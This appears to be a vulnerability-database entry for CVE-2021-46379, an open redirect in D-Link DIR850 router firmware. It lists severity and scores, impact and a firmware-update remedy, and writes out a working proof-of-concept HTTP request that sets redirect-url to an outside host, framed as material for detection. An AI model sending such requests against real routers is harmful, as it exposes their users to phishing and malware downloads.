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CVE-2021-46379: D-Link DIR850 ET850-1.08TRb03 - Open Redirect

TitleD-Link DIR850 ET850-1.08TRb03 - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the download of malware.
RemediationApply the latest firmware update provided by D-Link to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.46879
CVE IDCVE-2021-46379
CWE IDCWE-601
Tags cve cve2021 redirect dlink router vkev vuln

🔍 Vulnerability Description

DLink DIR850 ET850-1.08TRb03 contains incorrect access control vulnerability in URL redirection, which can be used to mislead users to go to untrusted sites.

🌐 HTTP Request

GET /boafrm/formWlanRedirect?redirect-url=http://interact.sh&wlan_id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46379.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46379.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A